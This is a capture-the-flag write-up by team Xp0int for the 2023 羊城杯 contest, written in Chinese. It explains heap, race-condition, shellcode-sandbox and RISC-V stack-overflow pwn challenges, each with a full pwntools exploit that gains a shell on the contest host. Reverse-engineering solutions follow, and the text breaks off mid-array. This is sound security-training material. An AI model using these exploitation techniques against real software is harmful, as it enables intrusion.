2023 羊城杯 WriteUp By Xp0int

更新:2023-羊城杯-题目附件.zip

Pwn

cookieBox

musl libc 1.1.24,double free 漏洞

首先将 double free 转化成 use after free:先分配一个堆块 A (id=1),释放(id=1)之后,重新分配回来(id=2);然后利用 double free (id=1) 再次释放堆块 A,这样就能可以通过(id=2)读写堆块 A 上的内容

getshell 方法参考以前写的这篇文章:https://www.anquanke.com/post/id/202253#h3-12

大致思路是劫持堆块的链表指针,利用 unbin 将伪造 _IO_FILE 对象地址写到 ofl_head,最后调用 exit 进行控制流劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context(arch="amd64", log_level="debug")

p = remote("tcp.cloud.dasctf.com", 22922)
# ~ p = process(["./libc.so", "./cookieBox"])

libc = ELF("./libc.so")

p_sl      = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x) 
p_s       = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x)   
libc_sym  = lambda x : libc.symbols[x]
libc_symp = lambda x : p64(libc.symbols[x])
libc_os = lambda x : libc.address + x

def add(size, ctx):
    p_sl(1, ">>")
    p_sl(size, "Please input the size:")
    p_s(ctx, "Please input the Content:")

def free(idx):
    p_sl(2, ">>")
    p_sl(idx, "Please input the idx:")

def edit(idx, ctx):
    p_sl(3, ">>")
    p_sl(idx, "Please input the idx:\n")
    p_s(ctx, "Please input the content:\n")

def show(idx):
    p_sl(4, ">>")
    p_sl(idx, "Please input the idx:\n")

add(0x80, "AAA\n")
add(0x80, "AAA\n") #1, s=0
free(1)
add(0x80, "AAA\n")
add(0x80, "AAA\n") #3

free(1)

show(3)
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x292e50
info("libcbase: 0x%lx", libc.address)

system = libc_os(0x42688)
ofl_head = libc_os(0x2950f8)

fake_file  = b"/bin/sh\x00"    # stdin->flags
fake_file += b'X' * 32
fake_file += p64(0xdeadbeef)  # stdin->wpos
fake_file += b'X' * 8
fake_file += p64(0xbeefdead)  # stdin->wbase
fake_file += b'X' * 8
fake_file += p64(system)      # stdin->write

edit(0, fake_file)

fake_file_addr = 0x602200

add(0x80, "BBBB\n")
edit(3, p64(fake_file_addr)+p64(ofl_head-2*8))
add(0x80, "BBBB\n")

p.sendline("5")

p.interactive()

heap

多线程未加锁导致竞争条件。edit 存在 1 秒的竞争窗口,且竞争窗口过后没有更新 len。

利用漏洞可以实现堆溢出,思路是先创建一个大堆块 A,然后 edit A,在竞争窗口中将这个堆块释放掉、换成小堆块 B,这样就能溢出 B 了。

溢出对象是保存堆块地址的小堆块(下图那个 obj),覆盖 ptr 指针可以实现泄漏地址和任意地址读写。注意控制溢出长度(也就是堆块 A 的大小),因为 edit 使用的是 strncpy,过大可能会破坏其他数据(例如 ptr 高位和 len 字段),导致无法泄漏地址或者任意地址写。

首先泄漏 libc 地址。线程的堆块都分配至单独的线程堆 (堆地址以 0x7f 开头),arena 的位置就位于堆空间上方,所以只要溢出修改 ptr 低位就可以将其指向 arena,从而泄漏 arena 上的 libc 地址(泄漏出来的地址恰好是 main arena 地址)。

getshell 方法是泄漏 libc 上的栈地址,然后将栈上的 main 函数返回地址修成 one gadget 地址。libc 上有两处地方可以泄漏栈地址,__environ 和 __libc_argv,这道题只能使用后者,因为前者地址的最低位恰好是空字节。

栈需要修改两个地方,第一个是前面提到的 main 函数返回地址,第二个是 main 函数的 saved rbp。修改 saved rbp 是为了满足 one gadget 利用条件(下图这个),原来的 saved rbp 是数值 1,需要把它改成任意一个可写内存地址。

一切搞定之后,只要退出 main 函数就能 getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

import time

context(arch="amd64", log_level="debug")

p = remote("tcp.cloud.dasctf.com", 21479)
# ~ p = process("./heap_patched", env={'LD_PRELOAD':/path/to/libc.so.6})

libc = ELF("./libc-3.35.so")

p_sl      = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x) 
p_s       = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x)   
libc_sym  = lambda x : libc.symbols[x]
libc_symp = lambda x : p64(libc.symbols[x])
libc_os = lambda x : libc.address + x
libc_osp = lambda x : p64(libc.address + x)

def add(ctx):
    p_sl(f"1 {ctx}", "Your chocie:")
    
def show(ctx):
    p_sl(f"2 {ctx}", "Your chocie:")

def edit(idx, ctx):
    pp = b"3 " + str(idx).encode() + b":" + ctx
    p_sl(pp, "Your chocie:")

def edit_no(idx, ctx):
    pp = b"3 " + str(idx).encode() + b":" + ctx
    p.sendline(pp)

def free(idx):
    p_sl(f"4 {idx}", "Your chocie:")
    
def free_no(idx):
    p.sendline(f"4 {idx}")

add("A"*0x50) #0
add("B"*0x68)
add("C"*0x61)
add("a"*0x50) #3
add("b"*0x68)
add("c"*0x62)
add("1"*0x50) #6
add("2"*0x68)
add("3"*0x66)
add("1"*0x50) #9
add("2"*0x68)
add("3"*0x66)

#########################

free(0)
edit(2, b"X"*0x60+b"\x80")
free(2)
add("C"*0x61) #0
add("A"*0x50) #2

time.sleep(3)

#########################

free(3)
edit(5, b"x"*0x60+b"\xa0\x08")
free(5)
add("c"*0x62) #3
add("a"*0x50) #5

time.sleep(3)

show(4)
p.recvuntil("paper content: ")
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x219c80
info("libcbase: 0x%lx", libc.address)

####################################

p_stack = libc_os(0x21aa20)
edit_no(1, p64(p_stack)[:6])

time.sleep(3)

show(0)
p.recvuntil("paper content: ")
stack = u64(p.recv(6).ljust(8, b'\x00'))
main_ret_addr = stack-0x110

info("stackbase: 0x%lx", libc.address)
info("main ret address ptr: 0x%lx", main_ret_addr)

##################

free_no(6)
edit(8, b"0"*0x60+p64(main_ret_addr-8)[:6])
free(8)
add("3"*0x66) #3
add("1"*0x50) #5

time.sleep(3)

writable_ptr_b = libc_osp(0x21c240)

edit(7, writable_ptr_b[:6])

###################

free_no(9)
edit(11, b"0"*0x60+p64(main_ret_addr)[:6])
free(11)
add("3"*0x66) #3
add("1"*0x50) #5

time.sleep(3)

one_gadget_b = libc_osp(0xEBD48)

edit(10, one_gadget_b[:6])

time.sleep(3)

p.sendline("5")

p.interactive()

shellcode

可以执行长度为 0x10 字节的 shellcode,shellcode 指令只能为 pop/push <寄存器>

解题的关键点有两个:1) shellcode 地址位于栈上;2) 开头可以写任意 2 字节数据到栈上(也就是那个 "[2] Input: (ye / no)")。

解题思路是先将 2 字节的 syscall 汇编指令码(\x0f\x05)写到栈上,然后利用 pop/push 指令将指令码复制到 shellcode 内存末尾,并布置好寄存器,最后调用 read 系统调用读入 cat flag shellcode 到 shellcode 内存上。

栈上有一个缓冲区地址恰好指向我们输入的 syscall 指令码,可以把这个缓冲区地址 pop 到 rsp,将 syscall 指令码 pop 到某个寄存器后,再次利用 pop/push 指令将 rsp 改成事先保存好的 shellcode 内存地址,最后利用 push 指令将 syscall 指令码写到 shellcode 内存地址上即可。

执行 shellcode 前加载了 seccomp 沙盒,只能调用 open, write, read 和 dup2 系统调用,并限制 read 和 write fd 参数的范围(read 限制 fd <=2、write 限制 fd >2)。 fd 限制可以利用 dup2 重定向 fd 来绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context(arch="amd64", log_level="debug")

p = remote("tcp.cloud.dasctf.com", 27135)
# ~ p = process("./shellcode_patched", env={'LD_PRELOAD':/path/to/libc.so.6})

p.sendafter("[2] Input: (ye / no)", b"\x0f\x05") 

sc1 = asm("""
push rax
pop rsi
push rbx
pop rax
push rbx
pop rdi

pop rbx
pop rbx
pop rsp
pop rdx

push rsi
pop rsp
pop rbx
pop rbx
pop rbx
push rdx
push rdx
""")

p.sendafter("[5] ======== Input Your P0P Code ========", sc1)

sc2 = "nop\n"*0x12
sc2 += """
mov rsp, r12

mov rax, 0x67616c662f
push rax
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall

mov rdi, rax
mov rsi, 0
mov rax, 33
syscall

mov rdi, 1
mov rsi, 23
mov rax, 33
syscall

mov rdi, 0
mov rsi, rsp
mov rdx, 0x100
mov rax, 0
syscall

mov rdi, 23
mov rax, 1
syscall
"""

p.send(asm(sc2))

p.interactive()

easy_vm

分析函数,可以通过输入 buf 来控制程序运行

0x201038 可以通过 buf 加减来调偏移(6、7),还可以将 0x201040 中内容赋给 0x201038(2)

0x201040 指向地址可以保存 0x201038 的内容(1),还能向 0x201038 的地址里赋值(3)

首先分别申请一个 0x1000 大小和 0x20 大小的 chunk,由于 0x20chunk 的存在,free0x1000 大小的 chunk 后会将其放在 unsorted bin 中,其 fd、bk 指针指向 main_arena+88 的位置,而后将这个 chunk 申请给 0x201040,由此可以通过 0x201040 获取一个 libc 地址

经过上面对函数与 0x201040 内容的分析,可以通过 0x201040 获取 libc 地址,再利用 0x201038 分别计算 exit_hook 和 one_gadget,同时 0x201040 做中转保存计算好的 one_gadget,将 one_gadget 写入 exit_hook 获取 shell。

具体过程为:先给 0x201038 一个 libc(2),算 one_gadget(7)保存到 0x201040(1),再算 exit_hook(6),用(3)将 one_gadget 赋值到 0x201038 的 exit_hook 中。

在远程时满足上图 one_gadget 的条件,通过 exit_hook = libc_base + 0x5f0040 + 3848 成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#p = process('./easy_vm')
p = remote('tcp.cloud.dasctf.com',23804)
libc = ELF('./libc-2.23.so')
libc = 0x3c4b78
exit1 = 0x5f0040 + 3848
exit2 = 0x5f0040 + 3856
one = [0x45216,0x4526a,0xf02a4,0xf1147]
payload = p64(2) + p64(7) + p64(libc - one[3]) + p64(1) + p64(6) + p64(exit1 - one[3]) + p64(3)
gdb.attach(p)
p.recvuntil('Inputs your code:\n')
p.sendline(payload)
p.interactive()

risky_login

异构 risc-v pwn

存在栈溢出。函数 FUN_1234567ea 中可以向 auStack_130 写 0x120 数据,在函数 FUN_12345786 中将 auStack_130 中内容复制到 acStack_108 位置,而 acStack_108 长 0xf8,故存在栈溢出,可将返回地址填为后门函数位置,进而获取 shell。

在复制前,存在一个对 auStack_130 长度不得大于 8 的检测,但 sVar1 为 byte 只能保存 8 位,而 auStack_130 长度在保存时可为 9 位(0x120=1 0010 0000B),故通过利用截断将 payload 的长度设置为 0x108(0x108 = 1 0000 1000B)实现长度检查的绕过,其中 0x100 为填充数据,0x8 为覆盖的返回地址。

存在后门函数 FUN_123456ee,其中存在 system(&DAT_12347078)的函数,而 DAT_12347078 为函数 FUN_1234567ea 中的输入,故可在 DAT_12347078 中输入”/bin/sh\x00”,利用栈溢出将返回地址覆盖为后门函数中为 system 赋参数 DAT_12347078 的位置,实现 system(“/bin/sh\x00”)的调用,获取 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.log_level = 'debug'       
 
p = remote("tcp.cloud.dasctf.com",27513)
#p = process("./pwn")
back = 0x123456ee
sys = 0x12345770
libc = ELF("./libc.so.6")
 
payload = b"a"*256 + p64(sys)
p.recvuntil('Input ur name:\n')
p.send('/bin/sh\x00')
p.recvuntil('Input ur words\n')
p.send(payload)
p.interactive()

RE

Babyobfu

稍微有点难度的题,不知道为什么没人做。。整个程序被加密了,一边运行一边解密一段代码,解密并执行完再加密回去。

先说 smc 的部分,每个函数单独一个 smc 的 context,每个 context 包括一个在栈上的 smc_key 数组、在数据段的会被用来更新 smc_key 的下标数组、以及在.bb.dump 段中每段要被解密的代码的位置和大小。

每个函数开始会先把 smc_key 清 0,然后包括三个操作:set_smc_key、smc_decrypt 和 smc_encrypt。

set_smc_key 在 0x4035C0,会根据下标数组把 smc_key 对应下标的 key 异或固定值,程序里长这样:

smc_decrypt 在 0x403630,会获取 smc_key 中其中一个 key 来解密一段代码,程序里长这样:

smc_encrypt 在 0x403760,没什么好说的,就是 smc_decrypt 会把参数保存在栈上,等执行完代码就调用 smc_encrypt 把代码重新加密回去。

可以用 idapython 手动模拟下解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# smc_key = [0]*13    # [rbp-0x28]开始
def set_smc_key(key):
    global smc_key
    idx = [5]
    for i in idx:
        smc_key[i] ^= key
        
def smc_decrypt(addr, len, key):
    key = key.to_bytes(4, 'little')
    for i in range(addr, addr+len):
        v = get_wide_byte(i)
        patch_byte(i, ((i-addr-50)&0xff) ^ v ^ key[(i-addr)%4])
        
#set_smc_key(0x46E87CCD)
smc_decrypt(0x40194A, 0x20, smc_key[(0x28-0xc)//4])

其实模式匹配应该是可以自动化解密的,不过我预估了下时间发现手搓时间也来得及,就直接用上面的脚本模拟手搓了,每次只需要更新 set_smc_key 的 idx 和两个函数的参数就可以。

搓完后逻辑还是比较简单的,首先获取 32 字节输入,然后检测是否是小写 hex 字符串。之后在 sub_401980 根据输入生成 64 字节的 hex 字符串,然后转 byte。再把 byte 分成 4 段,每段加密 100 次,最后跟固定数组比较。逆起来难度不大。调试拿到一些常量就可以开始写脚本了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
enc = [0x376856ABEED8592A, 0x3CCF537F7ECA40AB, 0x92CC25F6240A7A19, 0x2DA210592DCCFF78]
enc = [i.to_bytes(8, 'little') for i in enc]
# enc = b''.join(enc)

num1 = 0x0A85A59DF; num2 = 0x5EAA6F37; num3 = 0x0E3A8B26D; num4 = 0x0C00A0D62
def getnum():
    global num1, num2, num3, num4
    mask = 0xffffffff
    for i in range(8):
        num1 += ((i + 1) * num4) & num2 ^ (0x114514AA * num3 + num2) ^ (16 * num1)
        num1 &= mask
        num3 -= ((345 * num4 + 123 * num2 + 567 * num3) | (8 * num4)) ^ (0x4451325A * num1) ^ (i * num2)
        num3 &= mask
        num2 -= (0xCCCCCCCC * num1 + 7 * num2) | ((num3 >> (32 - 4 * i)) | (num3 << (4*i))) ^ (num1 * num3)
        num2 &= mask
        num4 += (0x1231452 * i + num1) * ((0x78CDAA3F * num4) ^ (16 * num3) ^ (num2 >> 3))
        num4 &= mask
    return (num4 * num3 + num3 * num2 + num2 * num1 + num1 * num4) & mask

def ror(x, n):
    return (x>>n) | ((x<<(8-n))&0xff)

Sbox = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]

key = []
for i in range(4*100*8):
    key.append(getnum())
for idx in range(4):
    t = list(enc[idx])
    subkey = key[800*idx:800*(idx+1)][::-1]
    for n in range(100):
        for i in range(8):
            t[(i+1)%8] = ror((t[(i+1)%8] + Sbox[(t[i] + subkey[8*n+i]) & 0xff]) & 0xff, 7)
    enc[idx] = bytes(t)

from binascii import hexlify
enc = [hexlify(i).decode() for i in enc]
enc = ''.join(enc)
enc = [enc[2*i+1] for i in range(32)]
enc = ''.join(enc)

table = '1234567890abcdef'
buf = [0x03, 0x02, 0x03, 0x01, 0x03, 0x02, 0x03, 0x03, 0x03, 0x02, 0x02, 0x02, 0x02, 0x02, 0x03, 0x03, 0x02, 0x01, 0x03, 0x01, 0x03, 0x02, 0x01, 0x02, 0x03, 0x02, 0x02, 0x01, 0x01, 0x02, 0x02, 0x02]
buf2 = 'ac2018c9c49436ec3154691ea51de52ca91251c38c13722d11a325a18198411e91ca9e4c'
flag = ''
s = 0
for i, c in enumerate(enc):
    t = table.index(c)
    s += buf[i]
    t = (t - ord(buf2[s])) % 16
    t = (11*t) % 16         # 11是3对16的逆元
    flag += hex(t)[2:]

print(flag)

Blast

虚假控制流,搓个脚本去除:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from idaapi import *

st = 0x402370
end = 0x403064

def patch_nop(start,end):
    for i in range(start,end):
        patch_byte(i, 0x90)                #修改指定地址处的指令  0x90是最简单的1字节nop
 
def next_instr(addr):
    return addr+get_item_size(addr)          #get_item_size获取指令或数据长度,这个函数的作用就是去往下一条指令
    
fxxk_dword = ['dword_40F990', 'dword_40F994', 'dword_40F998', 'dword_40F99C', 'dword_40F9A0', 'dword_40F9A4', 'dword_40F9A8', 'dword_40F9AC', 'dword_40F9B0', 'dword_40F9B4', 'dword_40FA24', 'dword_40FA28', 'dword_40FA2C', 'dword_40FA30']

def check(addr):
    for fxxk in fxxk_dword:
        if fxxk in generate_disasm_line(addr):
            return True
    return False

addr = st
prev = -1
while addr < end:
    next = next_instr(addr)
    if check(addr):
        flag = True
        begin = addr
        while flag:
            prev = addr
            addr = next
            next = next_instr(addr)
            if "jnz" in generate_disasm_line(addr):
                dest = get_operand_value(addr, 0)       #得到操作数,就是指令后的数
                if 'test' in generate_disasm_line(prev) and get_operand_value(prev, 1) == 1:
                    patch_nop(begin, dest)
                else:
                    patch_nop(begin, prev)
                    patch_nop(addr, dest)
                print("patch bcf: %#x" % addr)
                addr = dest
                flag = False
    else:
        addr = next

print('OK!')

去完发现就是普普通通的把单字节 md5 两次。。还不如不去直接嗯看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from hashlib import md5
import string

dd = dict()
for i in string.printable:
    dd[md5(md5(i.encode()).hexdigest().encode()).hexdigest()] = i

enc = [0x31, 0x34, 0x64, 0x38, 0x39, 0x63, 0x33, 0x38, 0x63, 0x64, 0x30, 0x66, 0x62, 0x32, 0x33, 0x61, 0x31, 0x34, 0x62, 0x65, 0x32, 0x37, 0x39, 0x38, 0x64, 0x34, 0x34, 0x39, 0x63, 0x31, 0x38, 0x32, 0x00, 0x61, 0x39, 0x34, 0x38, 0x33, 0x37, 0x62, 0x31, 0x38, 0x66, 0x38, 0x66, 0x34, 0x33, 0x66, 0x32, 0x39, 0x34, 0x34, 0x38, 0x62, 0x34, 0x30, 0x61, 0x36, 0x65, 0x37, 0x33, 0x38, 0x36, 0x62, 0x61, 0x00, 0x61, 0x66, 0x38, 0x35, 0x64, 0x35, 0x31, 0x32, 0x35, 0x39, 0x34, 0x66, 0x63, 0x38, 0x34, 0x61, 0x35, 0x63, 0x36, 0x35, 0x65, 0x63, 0x39, 0x39, 0x37, 0x30, 0x39, 0x35, 0x36, 0x65, 0x61, 0x35, 0x00, 0x61, 0x66, 0x38, 0x35, 0x64, 0x35, 0x31, 0x32, 0x35, 0x39, 0x34, 0x66, 0x63, 0x38, 0x34, 0x61, 0x35, 0x63, 0x36, 0x35, 0x65, 0x63, 0x39, 0x39, 0x37, 0x30, 0x39, 0x35, 0x36, 0x65, 0x61, 0x35, 0x00, 0x31, 0x30, 0x65, 0x32, 0x31, 0x64, 0x61, 0x32, 0x33, 0x37, 0x61, 0x34, 0x61, 0x31, 0x34, 0x39, 0x31, 0x65, 0x37, 0x36, 0x39, 0x64, 0x66, 0x36, 0x66, 0x34, 0x63, 0x33, 0x62, 0x34, 0x31, 0x39, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38, 0x32, 0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66, 0x30, 0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36, 0x66, 0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x32, 0x39, 0x37, 0x65, 0x37, 0x63, 0x61, 0x31, 0x32, 0x37, 0x64, 0x32, 0x65, 0x65, 0x66, 0x36, 0x37, 0x34, 0x63, 0x31, 0x31, 0x39, 0x33, 0x33, 0x31, 0x66, 0x65, 0x33, 0x30, 0x64, 0x66, 0x66, 0x00, 0x62, 0x35, 0x64, 0x32, 0x30, 0x39, 0x39, 0x65, 0x34, 0x39, 0x62, 0x64, 0x62, 0x30, 0x37, 0x62, 0x38, 0x31, 0x37, 0x36, 0x64, 0x66, 0x66, 0x35, 0x65, 0x32, 0x33, 0x62, 0x33, 0x63, 0x31, 0x34, 0x00, 0x38, 0x33, 0x62, 0x65, 0x32, 0x36, 0x34, 0x65, 0x62, 0x34, 0x35, 0x32, 0x66, 0x63, 0x66, 0x30, 0x61, 0x31, 0x63, 0x33, 0x32, 0x32, 0x66, 0x32, 0x63, 0x37, 0x63, 0x62, 0x66, 0x39, 0x38, 0x37, 0x00, 0x61, 0x39, 0x34, 0x38, 0x33, 0x37, 0x62, 0x31, 0x38, 0x66, 0x38, 0x66, 0x34, 0x33, 0x66, 0x32, 0x39, 0x34, 0x34, 0x38, 0x62, 0x34, 0x30, 0x61, 0x36, 0x65, 0x37, 0x33, 0x38, 0x36, 0x62, 0x61, 0x00, 0x37, 0x31, 0x62, 0x30, 0x34, 0x33, 0x38, 0x62, 0x66, 0x34, 0x36, 0x61, 0x61, 0x32, 0x36, 0x39, 0x32, 0x38, 0x63, 0x37, 0x66, 0x35, 0x61, 0x33, 0x37, 0x31, 0x64, 0x36, 0x31, 0x39, 0x65, 0x31, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38, 0x32, 0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66, 0x30, 0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36, 0x66, 0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x61, 0x63, 0x34, 0x39, 0x30, 0x37, 0x33, 0x61, 0x37, 0x31, 0x36, 0x35, 0x66, 0x34, 0x31, 0x63, 0x35, 0x37, 0x65, 0x62, 0x32, 0x63, 0x31, 0x38, 0x30, 0x36, 0x61, 0x37, 0x30, 0x39, 0x32, 0x65, 0x00, 0x61, 0x39, 0x34, 0x38, 0x33, 0x37, 0x62, 0x31, 0x38, 0x66, 0x38, 0x66, 0x34, 0x33, 0x66, 0x32, 0x39, 0x34, 0x34, 0x38, 0x62, 0x34, 0x30, 0x61, 0x36, 0x65, 0x37, 0x33, 0x38, 0x36, 0x62, 0x61, 0x00, 0x61, 0x66, 0x38, 0x35, 0x64, 0x35, 0x31, 0x32, 0x35, 0x39, 0x34, 0x66, 0x63, 0x38, 0x34, 0x61, 0x35, 0x63, 0x36, 0x35, 0x65, 0x63, 0x39, 0x39, 0x37, 0x30, 0x39, 0x35, 0x36, 0x65, 0x61, 0x35, 0x00, 0x65, 0x64, 0x31, 0x30, 0x38, 0x66, 0x36, 0x39, 0x31, 0x39, 0x65, 0x62, 0x61, 0x64, 0x63, 0x38, 0x65, 0x38, 0x30, 0x39, 0x66, 0x38, 0x62, 0x38, 0x36, 0x65, 0x66, 0x34, 0x30, 0x62, 0x30, 0x35, 0x00, 0x31, 0x30, 0x65, 0x32, 0x31, 0x64, 0x61, 0x32, 0x33, 0x37, 0x61, 0x34, 0x61, 0x31, 0x34, 0x39, 0x31, 0x65, 0x37, 0x36, 0x39, 0x64, 0x66, 0x36, 0x66, 0x34, 0x63, 0x33, 0x62, 0x34, 0x31, 0x39, 0x00, 0x33, 0x63, 0x66, 0x64, 0x34, 0x33, 0x36, 0x39, 0x31, 0x39, 0x62, 0x63, 0x33, 0x31, 0x30, 0x37, 0x64, 0x36, 0x38, 0x62, 0x39, 0x31, 0x32, 0x65, 0x65, 0x36, 0x34, 0x37, 0x66, 0x33, 0x34, 0x31, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38, 0x32, 0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66, 0x30, 0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36, 0x66, 0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x36, 0x35, 0x63, 0x31, 0x36, 0x32, 0x66, 0x37, 0x63, 0x34, 0x33, 0x36, 0x31, 0x32, 0x62, 0x61, 0x31, 0x62, 0x64, 0x66, 0x34, 0x64, 0x30, 0x66, 0x32, 0x39, 0x31, 0x32, 0x62, 0x62, 0x63, 0x30, 0x00, 0x31, 0x30, 0x65, 0x32, 0x31, 0x64, 0x61, 0x32, 0x33, 0x37, 0x61, 0x34, 0x61, 0x31, 0x34, 0x39, 0x31, 0x65, 0x37, 0x36, 0x39, 0x64, 0x66, 0x36, 0x66, 0x34, 0x63, 0x33, 0x62, 0x34, 0x31, 0x39, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38, 0x32, 0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66, 0x30, 0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36, 0x66, 0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x33, 0x63, 0x66, 0x64, 0x34, 0x33, 0x36, 0x39, 0x31, 0x39, 0x62, 0x63, 0x33, 0x31, 0x30, 0x37, 0x64, 0x36, 0x38, 0x62, 0x39, 0x31, 0x32, 0x65, 0x65, 0x36, 0x34, 0x37, 0x66, 0x33, 0x34, 0x31, 0x00, 0x35, 0x35, 0x37, 0x34, 0x36, 0x30, 0x64, 0x33, 0x31, 0x37, 0x61, 0x65, 0x38, 0x37, 0x34, 0x63, 0x39, 0x32, 0x34, 0x65, 0x39, 0x62, 0x65, 0x33, 0x33, 0x36, 0x61, 0x38, 0x33, 0x63, 0x62, 0x65, 0x00, 0x61, 0x37, 0x30, 0x35, 0x65, 0x38, 0x32, 0x38, 0x30, 0x30, 0x38, 0x32, 0x66, 0x39, 0x33, 0x66, 0x30, 0x37, 0x65, 0x33, 0x34, 0x38, 0x36, 0x36, 0x33, 0x36, 0x66, 0x33, 0x38, 0x32, 0x37, 0x61, 0x00, 0x39, 0x32, 0x30, 0x33, 0x64, 0x38, 0x61, 0x32, 0x36, 0x65, 0x32, 0x34, 0x31, 0x65, 0x36, 0x33, 0x65, 0x34, 0x62, 0x33, 0x35, 0x62, 0x33, 0x35, 0x32, 0x37, 0x34, 0x34, 0x30, 0x39, 0x39, 0x38, 0x00, 0x31, 0x30, 0x65, 0x32, 0x31, 0x64, 0x61, 0x32, 